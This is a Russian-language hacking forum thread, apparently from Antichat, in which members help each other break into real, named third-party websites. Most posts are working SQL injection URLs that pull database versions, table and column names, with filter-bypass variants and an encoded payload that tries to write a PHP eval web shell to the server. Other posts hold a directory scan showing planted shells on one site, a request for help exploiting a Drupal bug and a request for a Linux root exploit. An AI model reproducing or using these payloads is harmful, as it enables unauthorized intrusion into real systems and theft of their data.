Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    1. Подобрать кол-во полей, а не пытаться сразу лить шелл

    Code:
    http://www.buddhatour.ru/new/?link=1+union+select+1,version(),3,4+limit+1,1--+
    
    или так:
    
    http://www.buddhatour.ru/new/?link=(select+1+from+(select+count(0),concat((select+version()),floor(rand(0)*2))+from+information_schema.tables+group+by+2+limit+1)a)--+
    
    2. file_priv=N, ни о какой заливке шелла через скулю здесь речи идти не может.
     
    1 person likes this.
  2. BlackFan

    BlackFan Member

    Joined:
    3 Jan 2009
    Messages:
    47
    Likes Received:
    40
    Reputations:
    32
    В union select во-первых 4 столбца, во-вторых magic_quotes = On

    Но это можно обойти, так как второй параметр учавствует в другом запросе...

    Code:
    http://www.buddhatour.ru/new/?link=-1+union+select+1,0x3120616E64202873656C65637420273C3F706870206576616C28245F4745545B765D293B3F3E2720696E746F206F757466696C6520272F686F6D652F627564646861746F75722F646174612F7777772F627564646861746F75722E72752F65652E7068702729,3,4
    
    
    Второй столбец это "1 and (select '<?php eval($_GET[v]);?>' into outfile '/home/buddhatour/data/www/buddhatour.ru/ee.php')"
    
    Но тут мы опять же ничего не получаем :)

    Code:
    Access denied for user 'buddhatour_budd'@'localhost' (using password: YES)
    Вроде бы так...
    Пока писал, меня 2 раза опередили)
     
    1 person likes this.
  3. durito

    durito Elder - Старейшина

    Joined:
    6 Jun 2008
    Messages:
    125
    Likes Received:
    24
    Reputations:
    27
    вопрос чисто теоретический:

    при раскрутке стандартной mssql инъекции пару раз сталкивался что при запросе:

    1+or+1=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='table_name'+AND+COLUMN_NAME+NOT+IN+('column'))--

    скуль плевать хотела на имя таблицы и выдавала колонки из всех таблиц в алфавитном порядке. именно поэтому, на мой взгляд, возникали проблемы с автоматическими инжекторами, которые не могли вывести колонки.

    собственно вопрос, почему выводятся все колонки из всех таблиц, а не из заданой?
     
  4. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Пример в студию ускорил бы решение вашей проблемы, да, бывают специфичные ситуации

    PS: Вообще not in и перечислять там имена колонок тупо - тухлец способ по определению

    Вот если брать одну из mssql-инъекций в "Ваши sql-инъекции":

    https://forum.antichat.ru/showpost.php?p=2168515&postcount=12236

    Code:
    http://merritt.peralta.edu/apps/pubs.asp?Q=1+or+1=@@version--
    
    то для выяснения колонок из таблицы User ми бы рекомендовал бы такую конструкцию (как показала практика - самая универсальная для различных ситуаций):

    Code:
    http://merritt.peralta.edu/apps/pubs.asp?Q=1+or+1=(select+max(column_name)+from+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)+and+column_name+not+in+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)+order+by+column_name)+order+by+column_name)a)--
    
    получим City
    Code:
    http://merritt.peralta.edu/apps/pubs.asp?Q=1+or+1=(select+max(column_name)+from+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)+and+column_name+not+in+(select+top+2+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)+order+by+column_name)+order+by+column_name)a)--
    
    получим Class

    .....

    во втором случае меняется

    .....not+in+(select+top+2....
     
    #13884 Pashkela, 29 Jun 2010
    Last edited: 29 Jun 2010
    1 person likes this.
  5. durito

    durito Elder - Старейшина

    Joined:
    6 Jun 2008
    Messages:
    125
    Likes Received:
    24
    Reputations:
    27
    примерчик:

    http://www.feliceincontro.net/incontri/foto/ContattoAnnIntNaz.asp?cod=2422+or+1=%28SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=%27Utenti%27+AND+COLUMN_NAME+NOT+IN+%28%27binary_message_body%27,%27cap%27,%27Cat%27,%27Categoria%27,%27cell%27,%27cod%27,%27conversation_group_id%27,%27conversation_handle%27,%27data%27,%27fax%27,%27figli%27,%27fragment_bitmap%27,%27fragment_size%27,%27fuma%27,%27h%27,%27hob%27,%27id%27,%27Idc%27,%27ind%27,%27lingue%27,%27mail%27,%27message_id%27,%27message_sequence_number%27,%27message_type_id%27,%27nazione%27,%27newsCorpo%27,%27newsDataInserim%27,%27newsFoto%27,%27newsId%27,%27newsSospesa%27,%27newsTitolo%27,%27next_fragment%27,%27nome%27,%27occ%27,%27p%27,%27paese%27,%27patn%27,%27person%27,%27priority%27,%27prof%27,%27prov%27,%27queuing_order%27,%27regi%27,%27resp%27,%27service_contract_id%27,%27service_id%27,%27skype%27,%27stato%27,%27status%27,%27tel%27,%27titolo%27,%27url1%27,%27url2%27,%27url3%27,%27url4%27,%27urlpic%27,%27userId%27,%27userLevel%27,%27userName%27,%27userPwd%27%29%29--

    а что есть не из тухлых способов?
     
  6. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    вот конкретно относительно вашего примерчика и таблицы News:

    Code:
    HOST: www.feliceincontro.net
    -----------------------------------------
    System information:
    -----------------------------------------
    @@version: Microsoft SQL Server 2005 - 9.00.4053.00 (Intel X86) 
    	May 26 2009 14:24:20 
    	Copyright (c) 1988-2005 Microsoft Corporation
    	Workgroup Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
    
    system_user: MSSql18332
    db_name(): MSSql18332
    =============================================
    Tables in information_schema:
    =============================================
      annunci
      foto
      Categoria
      News
      Utenti
      sedi
    -----------------------------------------
    Columns from table [ News ]
    -----------------------------------------
      newsCorpo - колонка
    
      http://www.feliceincontro.net/incontri/foto/ContattoAnnIntNaz.asp?cod=2422+or+1=(select+max(column_name)+from+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(78)%2bchar(101)%2bchar(119)%2bchar(115)+and+column_name+not+in+(select+top+0+column_name+from+information_schema.columns+where+table_name=char(78)%2bchar(101)%2bchar(119)%2bchar(115)+order+by+column_name)+order+by+column_name)a)
    
      newsDataInserim - - колонка
    
      http://www.feliceincontro.net/incontri/foto/ContattoAnnIntNaz.asp?cod=2422+or+1=(select+max(column_name)+from+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(78)%2bchar(101)%2bchar(119)%2bchar(115)+and+column_name+not+in+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(78)%2bchar(101)%2bchar(119)%2bchar(115)+order+by+column_name)+order+by+column_name)a)
    
      newsFoto - колонка
    
      http://www.feliceincontro.net/incontri/foto/ContattoAnnIntNaz.asp?cod=2422+or+1=(select+max(column_name)+from+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(78)%2bchar(101)%2bchar(119)%2bchar(115)+and+column_name+not+in+(select+top+2+column_name+from+information_schema.columns+where+table_name=char(78)%2bchar(101)%2bchar(119)%2bchar(115)+order+by+column_name)+order+by+column_name)a)
    
      newsTitolo - колонка
    
      http://www.feliceincontro.net/incontri/foto/ContattoAnnIntNaz.asp?cod=2422+or+1=(select+max(column_name)+from+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(78)%2bchar(101)%2bchar(119)%2bchar(115)+and+column_name+not+in+(select+top+5+column_name+from+information_schema.columns+where+table_name=char(78)%2bchar(101)%2bchar(119)%2bchar(115)+order+by+column_name)+order+by+column_name)a)
    
      newsSospesa - колонка
    
      http://www.feliceincontro.net/incontri/foto/ContattoAnnIntNaz.asp?cod=2422+or+1=(select+max(column_name)+from+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(78)%2bchar(101)%2bchar(119)%2bchar(115)+and+column_name+not+in+(select+top+4+column_name+from+information_schema.columns+where+table_name=char(78)%2bchar(101)%2bchar(119)%2bchar(115)+order+by+column_name)+order+by+column_name)a)
    
      newsId -  колонка
    
      http://www.feliceincontro.net/incontri/foto/ContattoAnnIntNaz.asp?cod=2422+or+1=(select+max(column_name)+from+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(78)%2bchar(101)%2bchar(119)%2bchar(115)+and+column_name+not+in+(select+top+3+column_name+from+information_schema.columns+where+table_name=char(78)%2bchar(101)%2bchar(119)%2bchar(115)+order+by+column_name)+order+by+column_name)a)
    
     
  7. IMMORTAL_S

    IMMORTAL_S Member

    Joined:
    29 Apr 2010
    Messages:
    129
    Likes Received:
    9
    Reputations:
    2
    Сп... но написано, что "Этот файл всё ещё заливается!". Залей еще куданить, pls :)
     
  8. k2b1~

    k2b1~ Banned

    Joined:
    17 Jun 2010
    Messages:
    16
    Likes Received:
    1
    Reputations:
    0
    здесь sql inj ?
    ето филтрация ?
    и как обходит ?
     
  9. v1d0qz

    v1d0qz Elder - Старейшина

    Joined:
    21 Jul 2007
    Messages:
    67
    Likes Received:
    90
    Reputations:
    52
    Методом "тыка" удалось извлечь, все что попадает в параметр id и этот же момент != int, идет под откос.

    Присутствует проверка от "неправильных" обращений к серверу. Паблик способами решить эту проблему не сможете.
     
  10. FlaktW

    FlaktW Elder - Старейшина

    Joined:
    19 Aug 2009
    Messages:
    500
    Likes Received:
    33
    Reputations:
    12
    Все правильно написано только смущает одно, что там два залитых шелла!

    » http://oragir.am/.htaccess HTTP 403 Forbidden
    » http://oragir.am/.htconfig HTTP 403 Forbidden
    » http://oragir.am/.htpasswd HTTP 403 Forbidden
    » http://oragir.am/cgi-bin/ HTTP 403 Forbidden
    » http://oragir.am/cgi-sys/ HTTP 403 Forbidden
    » http://oragir.am/images/ HTTP 403 Forbidden
    » http://oragir.am/js/ HTTP 403 Forbidden
    » http://oragir.am/new/ HTTP 200 OK
    » http://oragir.am/_private/ HTTP 401 Authorization Required
    » http://oragir.am/includes/ HTTP 200 OK
    » http://oragir.am/server-status/ HTTP 403 Forbidden
    » http://oragir.am/error_log HTTP 403 Forbidden
    » http://oragir.am/administrator/ HTTP 200 OK
    » http://oragir.am/also order_log.dat HTTP 403 Forbidden
    » http://oragir.am/cpanel/ HTTP 301 Moved Permanently
    » http://oragir.am/icons/ HTTP 200 OK
    » http://oragir.am/index.php HTTP 200 OK
    » http://oragir.am/lang/ HTTP 403 Forbidden
    » http://oragir.am/manual/ HTTP 200 OK
    » http://oragir.am/news/ HTTP 403 Forbidden
    » http://oragir.am/phpmyadmin/ HTTP 401 Authorization Required
    » http://oragir.am/phpshell.php HTTP 403 Forbidden
    » http://oragir.am/shell.php HTTP 403 Forbidden
    » http://oragir.am/webadmin.nsf HTTP 403 Forbidden
    » http://oragir.am/webmail/ HTTP 301 Moved Permanently
    • Possible engine => FrontPage:
    » http://oragir.am/_vti_bin/ HTTP 403 Forbidden
    » http://oragir.am/_vti_bin/_vti_adm/ HTTP 403 Forbidden
    » http://oragir.am/_vti_bin/_vti_aut/ HTTP 403 Forbidden
    » http://oragir.am/_vti_cnf/ HTTP 403 Forbidden
    » http://oragir.am/_vti_log/ HTTP 403 Forbidden
    » http://oragir.am/_vti_pvt/ HTTP 403 Forbidden
    » http://oragir.am/_vti_txt/ HTTP 403 Forbidden
     
    1 person likes this.
  11. linuxkernal

    linuxkernal New Member

    Joined:
    12 Mar 2010
    Messages:
    62
    Likes Received:
    0
    Reputations:
    0
    Url уязвим :

    http://www.jocuripentrucopii.eu/play_game.php?nume_joc=Darts%27

    Query failed - reason1:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Darts'')' at line 1

    попробовать много, но я не могу найти SQLI и столбцов
     
  12. BlackFan

    BlackFan Member

    Joined:
    3 Jan 2009
    Messages:
    47
    Likes Received:
    40
    Reputations:
    32
    2 linuxkernal
    если понадобится закомментировать оставшуюся часть запроса, то можно вприницпе так

    Code:
    http://www.jocuripentrucopii.eu/play_game.php?nume_joc=Darts')+and+substring(version(),1,1)=5**+
    А вот union select вставить не получилось, потому что выдает 403 даже на asdunionasdselectasd
     
  13. pinch

    pinch Elder - Старейшина

    Joined:
    13 Dec 2009
    Messages:
    417
    Likes Received:
    46
    Reputations:
    40
    http://www.jocuripentrucopii.eu/play_game.php?nume_joc=1')+ORDER+BY+22%23

    http://www.jocuripentrucopii.eu/play_game.php?nume_joc=9999999')+/*!UNION*/+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%23

    хмм фильтр обошел но незнаю зачем она ругается...
     
    #13893 pinch, 30 Jun 2010
    Last edited: 30 Jun 2010
  14. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Смотри внимательно ошибку. * заменяется на -
     
    4 people like this.
  15. BlackFan

    BlackFan Member

    Joined:
    3 Jan 2009
    Messages:
    47
    Likes Received:
    40
    Reputations:
    32
    Code:
    http://www.jocuripentrucopii.eu/play_game.php?nume_joc=9999999%27%29+and+%27/*%27+UNION+SELECT+1,2,version%28%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%23
    хех, видимая)
    общими усилиями, так сказать, раскрутили..)
     
    #13895 BlackFan, 30 Jun 2010
    Last edited: 30 Jun 2010
    4 people like this.
  16. v1d0qz

    v1d0qz Elder - Старейшина

    Joined:
    21 Jul 2007
    Messages:
    67
    Likes Received:
    90
    Reputations:
    52
    Так, предыдущий пост удалил, чтобы было немонго понятней (Сюда закинул только блинку). Вообщем вот она.

    http://www.jocuripentrucopii.eu/play_game.php?nume_joc=Darts')+and+substring(version(),1,1)=5+and+1=('1

    И все же докрутил как хотел, кому интересно, вот > http://www.jocuripentrucopii.eu/play_game.php?nume_joc=')+or+(select+Count(0),Concat(version(),floor(rand(0)/(1/2)))from(information_schema.columns)GROUP+by+2)=(1,'1
     
    #13896 v1d0qz, 30 Jun 2010
    Last edited: 30 Jun 2010
  17. kfor

    kfor Elder - Старейшина

    Joined:
    1 Sep 2005
    Messages:
    278
    Likes Received:
    48
    Reputations:
    29
    Народ помогите разобраться как заюзать багу. Не могу сообразить как надо сформировать запрос. Вот типа патч от этой баги. http://drupal.org/files/sa-2008-067/SA-2008-067-5.11.patch
    Я та понял что можно подменить занчение $_SERVER['HTTP_HOST'] , но блин ничего не выходит ;(
     
  18. k2b1~

    k2b1~ Banned

    Joined:
    17 Jun 2010
    Messages:
    16
    Likes Received:
    1
    Reputations:
    0
    v1d0qz , значит нет варианта ?

    http://oragir.am/news.php?id=13%27a
     
    #13898 k2b1~, 1 Jul 2010
    Last edited: 1 Jul 2010
  19. IMMORTAL_S

    IMMORTAL_S Member

    Joined:
    29 Apr 2010
    Messages:
    129
    Likes Received:
    9
    Reputations:
    2
    Посоветуйте рут сплойт для:
    Linux *.com 2.6.32.10-90.fc12.i686.PAE #1 SMP Tue Mar 23 10:04:28 UTC 2010 i686
    Что-то подходящего не нашел :)
     
  20. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Дату смотри. Сам то как думаешь, есть ли такие вещи в паблике? )
     
Thread Status:
Not open for further replies.